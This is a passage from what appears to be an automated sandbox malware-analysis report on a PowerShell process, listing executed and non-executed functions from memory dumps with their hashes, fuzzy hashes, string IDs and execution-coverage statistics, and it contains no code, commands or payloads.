                                                                                                                            • Opcode Fuzzy Hash: 87b167e2eae33e4149bd118ec6506f136c18da3e2fa3b4a82c36dc0ace9f5151
                                                                                                                            • Instruction Fuzzy Hash: A3E09276B482254FC30597A8ED9096E77B9FBC9221F1584A7E448E73A1CA758D00CB90
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFAC40 Relevance: .0, Instructions: 25COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: d0f0160775a7f18d198ca429a1937f84c191dc9a987034a7f8820285a52384aa
                                                                                                                            • Instruction ID: 96efbafb37670d54dd8201ebd9082d1e135d2eb36396b6938ec063d83c8d17ae
                                                                                                                            • Opcode Fuzzy Hash: d0f0160775a7f18d198ca429a1937f84c191dc9a987034a7f8820285a52384aa
                                                                                                                            • Instruction Fuzzy Hash: 6CF0A9B08102189BEB189F94C8187EEBBB4FB49700F10456AD502B7380CBB90D08CBE0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF71F8 Relevance: .0, Instructions: 25COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: bf3dd7051532dd5572a1b98ca56f25639d5e9c7abd9fa27704ea606529529383
                                                                                                                            • Instruction ID: f8d38d1e586dee97495758b3dc158f9f8a1d37520393419c3acd56197851471f
                                                                                                                            • Opcode Fuzzy Hash: bf3dd7051532dd5572a1b98ca56f25639d5e9c7abd9fa27704ea606529529383
                                                                                                                            • Instruction Fuzzy Hash: 51E0268120AFC01FC7839B6C7C145E6FFB5B8870B030842CBD0808B063C1110A49D365
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4E200 Relevance: .0, Instructions: 24COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: abff73038625e4656093704e4a93f470b1fa88dd15d7e490c981fc6e17d28cae
                                                                                                                            • Instruction ID: 09f56862cfc3aa7d25ae3c684abe31a851a1c855139e70b8dae24efec4aa2162
                                                                                                                            • Opcode Fuzzy Hash: abff73038625e4656093704e4a93f470b1fa88dd15d7e490c981fc6e17d28cae
                                                                                                                            • Instruction Fuzzy Hash: 8FE08636B145208BC7152719B81E1AD7BAADFC9621704815BEA5BC3341DF2C1D1387D7
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF86B1 Relevance: .0, Instructions: 24COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 0a316549b5a383d83f4f53b1548824b828bfe7eee975f14151d4b022f52cfa1a
                                                                                                                            • Instruction ID: 37b3c5f964fd3d4f8d8301bf5053034641fec63426ad645d9b0b87e19d011345
                                                                                                                            • Opcode Fuzzy Hash: 0a316549b5a383d83f4f53b1548824b828bfe7eee975f14151d4b022f52cfa1a
                                                                                                                            • Instruction Fuzzy Hash: 14E01276A05116EFD604CE54E845996FBADFF48624B148696E50897602C730AC91CBE0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A43A00 Relevance: .0, Instructions: 22COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 8721b7ced2c57ac9c88723e3e001bc95ab0ecf583d7014b17369da1153773dc3
                                                                                                                            • Instruction ID: 5ee80e6040c461033dd9fafcff92ddcf5d05f2beeb72cb2e1190cd2114d9667a
                                                                                                                            • Opcode Fuzzy Hash: 8721b7ced2c57ac9c88723e3e001bc95ab0ecf583d7014b17369da1153773dc3
                                                                                                                            • Instruction Fuzzy Hash: AAE0B67690020DFF9F01DFA0CD00CAF7BBEEB49200B01C465BE18D2120E6328A31BBA0
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF27ED Relevance: .0, Instructions: 22COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 896d16228487333d9edbf64c7c53a8968e7e4caa00382135a8ecbdb796cae697
                                                                                                                            • Instruction ID: 69868367021f9d83324509b3bd9f356bbdca6e546e28cc83c2afe7377889db57
                                                                                                                            • Opcode Fuzzy Hash: 896d16228487333d9edbf64c7c53a8968e7e4caa00382135a8ecbdb796cae697
                                                                                                                            • Instruction Fuzzy Hash: 64E08666A081916FD7425A189810866FFB9EFCB12131D81D3E8889B243C539DC82CBE1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF71D0 Relevance: .0, Instructions: 22COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 4356a0edb69542a770f6d283a634b305da1335dba0772c3beb98e22404bed97c
                                                                                                                            • Instruction ID: b96c4111cfae41b0caf0b230ddc176622a0df9508095304c1cbe44ca30caf9a3
                                                                                                                            • Opcode Fuzzy Hash: 4356a0edb69542a770f6d283a634b305da1335dba0772c3beb98e22404bed97c
                                                                                                                            • Instruction Fuzzy Hash: 3ED0A78614D9B00FE78BA2547D104F27FB5E98B4B130D00C7F484CA053C40C4F4B86B1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF108F Relevance: .0, Instructions: 20COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 00b27aaba7d942c9c9a47275f5f3d100e98137c2affaf0ec3973f8acb0190f90
                                                                                                                            • Instruction ID: 0b963b9e8c7b0fa1ca635b4a3890a074e9f65db396ee0aa27235cfb31944e0bd
                                                                                                                            • Opcode Fuzzy Hash: 00b27aaba7d942c9c9a47275f5f3d100e98137c2affaf0ec3973f8acb0190f90
                                                                                                                            • Instruction Fuzzy Hash: 74D02B1160D5515FC7029714AC210A23FB8DF4B11232CC0D6AC45CB343D51A9D5BE7D1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4E210 Relevance: .0, Instructions: 19COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 95ed63b5e164f2162bcbb21aff0c08268af02efd7ba24741a5cfeda9f7d56d28
                                                                                                                            • Instruction ID: 590b842df3ade88017578d2a2d28f5c6b822bbeb9eee1897e2a6177cbf128c6d
                                                                                                                            • Opcode Fuzzy Hash: 95ed63b5e164f2162bcbb21aff0c08268af02efd7ba24741a5cfeda9f7d56d28
                                                                                                                            • Instruction Fuzzy Hash: DCD09E353105245786492659B41D46D7A9ADBC9A22304812BEA0AC3340DF6D4D0387D5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7259 Relevance: .0, Instructions: 16COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 9a914bed2da0ba13aacd6ff3f66381a98ba54f35a85720643e884d2d170dc34d
                                                                                                                            • Instruction ID: 2d8ec530a52e6d09e2ec6cdfe4487cd969a0450c4e97b75efcd31e12bdc5d8c7
                                                                                                                            • Opcode Fuzzy Hash: 9a914bed2da0ba13aacd6ff3f66381a98ba54f35a85720643e884d2d170dc34d
                                                                                                                            • Instruction Fuzzy Hash: 55D0C9391096858FC703E714DA558D2FFB5BA8622031A82C2E4849B653C224DE89CBA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF27FD Relevance: .0, Instructions: 15COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: ecfeb3abceb69ca95e9eaaa3affc267624b2a953a0daf6dbd3b58beca4c29e27
                                                                                                                            • Instruction ID: 73e26ef73dbcecdd02106bd4f82bd43a84cf6c01eb9cf8572c325ff85cf63a40
                                                                                                                            • Opcode Fuzzy Hash: ecfeb3abceb69ca95e9eaaa3affc267624b2a953a0daf6dbd3b58beca4c29e27
                                                                                                                            • Instruction Fuzzy Hash: 98E0867070D6826FC346C728C465616FFA0BF83205F19C3C6C08947143CB28F894CB42
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BFBD23 Relevance: .0, Instructions: 12COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: d1615ec8ad698daee63e8c68790870ede20cfd7e780e78ba76405088d8090d45
                                                                                                                            • Instruction ID: 9ad077e89855e79abe6627949b7412576a28ca75375a0525a7a8034dfb36d9ad
                                                                                                                            • Opcode Fuzzy Hash: d1615ec8ad698daee63e8c68790870ede20cfd7e780e78ba76405088d8090d45
                                                                                                                            • Instruction Fuzzy Hash: D0D0CA3AE00009ABCF008BC0EC41ACDFB32FF88321F008122E6206A150C3321526DB80
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF27E8 Relevance: .0, Instructions: 11COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: db257677d5b8e663d4401080c46e66533421b71ae662940f62d0e5e707971d91
                                                                                                                            • Instruction ID: 9b9d78714a6eadc7bd9fd2d95436690a21c7e57767dc298fcd0f2e28bd8a07be
                                                                                                                            • Opcode Fuzzy Hash: db257677d5b8e663d4401080c46e66533421b71ae662940f62d0e5e707971d91
                                                                                                                            • Instruction Fuzzy Hash: BDC08C312004209B8B84EA08A4004B67BEAAFCE11433CC0C9F449DB206CA3AFE438BD4
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07BF7230 Relevance: .0, Instructions: 11COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380811495.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7bf0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: b5eaf1b1d71d2609f43571986c69ebd819fe53f604260a6449c6e56c4edf83d6
                                                                                                                            • Instruction ID: 50872e0d691f47ea053c3f9f290cff8bb6b33d29c48ce74ecafb228a2f1a2298
                                                                                                                            • Opcode Fuzzy Hash: b5eaf1b1d71d2609f43571986c69ebd819fe53f604260a6449c6e56c4edf83d6
                                                                                                                            • Instruction Fuzzy Hash: 90D0C93A64A6818FC705DB10C994844FBB1FF4530031AE2CAC0494B263D764DCC5C742
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4FF70 Relevance: .0, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: bbcefb2b8c3ab2418c230d3a39b25a3959efa53bce9e07698016b069bd14e135
                                                                                                                            • Instruction ID: cb1ae9e2abdc31fdc5d735f869966574e31d50c599c44a3e372018106c6160e8
                                                                                                                            • Opcode Fuzzy Hash: bbcefb2b8c3ab2418c230d3a39b25a3959efa53bce9e07698016b069bd14e135
                                                                                                                            • Instruction Fuzzy Hash: B8C08C3011C18282E3108730D819743BFC26F08209F108898D081CA4C1C2BDF494C351
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Non-executed Functions

                                                                                                                            Function 07B50103 Relevance: 36.8, Strings: 26, Instructions: 4285COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380358885.0000000007B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B50000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7b50000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 0U l$4' l$4' l$4' l$4' l$PH l$l}k$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l$$ l
                                                                                                                            • API String ID: 0-2813067338
                                                                                                                            • Opcode ID: c00e78933b127917316757cbb42181feb4174c8b10c53eaaeedebe1c37d6d62c
                                                                                                                            • Instruction ID: b372dce0ed7ab673686f7e3d1c27bdfeb474c2060da56aa7a64b515c2f75b7d2
                                                                                                                            • Opcode Fuzzy Hash: c00e78933b127917316757cbb42181feb4174c8b10c53eaaeedebe1c37d6d62c
                                                                                                                            • Instruction Fuzzy Hash: 8A933874A092189FDB29DF64CD54BEE77B2EB88304F0144E9C20DAB294DB356E85CF94
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 045BE911 Relevance: 11.3, Strings: 8, Instructions: 1296COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2354451762.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045B0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_45b0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: (_ l$,k}k$0okj$4c l$`Q l$tP l$$ l$c l
                                                                                                                            • API String ID: 0-2576874228
                                                                                                                            • Opcode ID: 0ea93e5c8d36f0e20a98485a95d2060c5575e21cafd5990a70299abe37dbed76
                                                                                                                            • Instruction ID: 1f9ceaf2c3c1cf5bd5015f5c557120c6111c8422bd1a90d48dfd71302670642f
                                                                                                                            • Opcode Fuzzy Hash: 0ea93e5c8d36f0e20a98485a95d2060c5575e21cafd5990a70299abe37dbed76
                                                                                                                            • Instruction Fuzzy Hash: C2A2D1707082045FDB189B75DC11FEE79A7DBC8B14F18816AE6096F384DF728C82AB95
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 045BE920 Relevance: 11.3, Strings: 8, Instructions: 1287COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2354451762.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 045B0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_45b0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: (_ l$,k}k$0okj$4c l$`Q l$tP l$$ l$c l
                                                                                                                            • API String ID: 0-2576874228
                                                                                                                            • Opcode ID: cccba15c6a0d8c577291d1b09af381f772872c84b415092d907225dbf6f8cdf5
                                                                                                                            • Instruction ID: 5ba7f574490bea21da6ffef00b5cb677cc288e331b39931fa568008313cac724
                                                                                                                            • Opcode Fuzzy Hash: cccba15c6a0d8c577291d1b09af381f772872c84b415092d907225dbf6f8cdf5
                                                                                                                            • Instruction Fuzzy Hash: E7A2D1707082045FDB189B75DC11FEE79A7DBC8B14F18816AE6096F384DF728C82AB95
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A40040 Relevance: 8.2, Strings: 6, Instructions: 681COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: ^j$^j$^j$^j$^j$^j
                                                                                                                            • API String ID: 0-3273404615
                                                                                                                            • Opcode ID: 62c2f28950555afd02d80e8f6ee1cb6b0275ce22404be6dff21bac3bef3fa005
                                                                                                                            • Instruction ID: f77ad87d08fabd11a6efd104198729606faa68b4a85f55b929f77b602d4a8507
                                                                                                                            • Opcode Fuzzy Hash: 62c2f28950555afd02d80e8f6ee1cb6b0275ce22404be6dff21bac3bef3fa005
                                                                                                                            • Instruction Fuzzy Hash: 62328F74B002059FDB59DB75C890AAFB7F6AFC8300F158469D6269B354DF35EC028B91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4E540 Relevance: 5.4, Strings: 4, Instructions: 400COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: ^j$^j$^j$^j
                                                                                                                            • API String ID: 0-2256733208
                                                                                                                            • Opcode ID: e15d7c0a87ac71bfa99c06ff57863f515a7f2d138d12a0d8367ada6f55870f77
                                                                                                                            • Instruction ID: 61cccf3a4b61f3cb1dfc091d3d315f9d3531c98f3fc931ee81d47925e55db448
                                                                                                                            • Opcode Fuzzy Hash: e15d7c0a87ac71bfa99c06ff57863f515a7f2d138d12a0d8367ada6f55870f77
                                                                                                                            • Instruction Fuzzy Hash: 27D1B3B4B042149FCB15EB74C890AAEB7F7EFC8310B158569D91AEB354DF359C028BA1
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A4A888 Relevance: 5.0, Strings: 2, Instructions: 2495COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: $ l$$ l
                                                                                                                            • API String ID: 0-407918501
                                                                                                                            • Opcode ID: f1f12861a384cf9fa2c730ba064ec2251da74c9fd57fb1391f9f80e5854c9271
                                                                                                                            • Instruction ID: efd9d332a8f632275a7eebdbffe7f5d2087ef8ef5d3219651529a9e534f45b22
                                                                                                                            • Opcode Fuzzy Hash: f1f12861a384cf9fa2c730ba064ec2251da74c9fd57fb1391f9f80e5854c9271
                                                                                                                            • Instruction Fuzzy Hash: F9434874A002188FDB1A9B20CC94BAE77B7EF88304F1585E9D9092B794DF35AE81DF45
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07B58D80 Relevance: 3.3, Strings: 2, Instructions: 826COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380358885.0000000007B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B50000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7b50000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: "j$$ l
                                                                                                                            • API String ID: 0-3088276233
                                                                                                                            • Opcode ID: 8cdd76285908918626bfb9db9d5ab6a8bd660c8b3d518f8abef9fd368889d9c6
                                                                                                                            • Instruction ID: f68ff3ed04af7b9972ec2e3d2ce4baaa5d1121adc643f3b3a7627902fe6b2634
                                                                                                                            • Opcode Fuzzy Hash: 8cdd76285908918626bfb9db9d5ab6a8bd660c8b3d518f8abef9fd368889d9c6
                                                                                                                            • Instruction Fuzzy Hash: 1A824674A042189FDB15DFA8C894BEE77B2EF89304F1184E9C109AB391DF35AE818F51
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07B58D50 Relevance: 3.2, Strings: 2, Instructions: 726COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380358885.0000000007B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B50000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7b50000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: "j$$ l
                                                                                                                            • API String ID: 0-3088276233
                                                                                                                            • Opcode ID: 0635963242f8f8b468e7681d959ad3f6bf82fece8e2dfc0f20927825c8314583
                                                                                                                            • Instruction ID: 0e373499aaa7dbc0f956bedc97884788f8acb5b0797561bdc074c60f9cdbcd8e
                                                                                                                            • Opcode Fuzzy Hash: 0635963242f8f8b468e7681d959ad3f6bf82fece8e2dfc0f20927825c8314583
                                                                                                                            • Instruction Fuzzy Hash: 1A624770A042189FDB55EFA4C894BEE77B2EF89304F1144E9C109AB391DF35AE818F51
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07A441B8 Relevance: .2, Instructions: 217COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2379077928.0000000007A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A40000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7a40000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 2eb7034aac63d6266f40971c8b9bd38e87fe1808ab0409412259db90aba15a39
                                                                                                                            • Instruction ID: 52e88454879a36ec0711c1a1757ed4569babe7cf396feb10f6369afe777c5e4f
                                                                                                                            • Opcode Fuzzy Hash: 2eb7034aac63d6266f40971c8b9bd38e87fe1808ab0409412259db90aba15a39
                                                                                                                            • Instruction Fuzzy Hash: 8781BF70B043858BDF19CFA5C8507AEBBB6AFC9304F108029E816AB784EB75DC46CB44
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 07AB0322 Relevance: 5.0, Strings: 4, Instructions: 36COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000015.00000002.2380023592.0000000007AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AB0000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_21_2_7ab0000_powershell.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: 4' l$4' l$$ l$$ l
                                                                                                                            • API String ID: 0-2640264281
                                                                                                                            • Opcode ID: 59d1a3575c5b34c7c40160c3c589f38d94d99a7decb85d8b846bdf7b5c231ae4
                                                                                                                            • Instruction ID: 2a7a8b059804567e39ea0799800f424c8dde15fdcfc5a83b80ac5f1bfe50af8d
                                                                                                                            • Opcode Fuzzy Hash: 59d1a3575c5b34c7c40160c3c589f38d94d99a7decb85d8b846bdf7b5c231ae4
                                                                                                                            • Instruction Fuzzy Hash: ABF027F1B481068B5B7D125C15193DBC28B8BC1594F1D416BCA26CBB55CE60CC028783
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Execution Graph

                                                                                                                            Execution Coverage:2.3%
                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                            Signature Coverage:0%
                                                                                                                            Total number of Nodes:3
                                                                                                                            Total number of Limit Nodes:1
                                                                                                                            execution_graph 111 321dd52 TerminateThread 112 321b4ab 111->112 113 321dd7c 111->113 112->111

                                                                                                                            Callgraph

                                                                                                                            Executed Functions

                                                                                                                            Function 0321DD52 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38threadCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
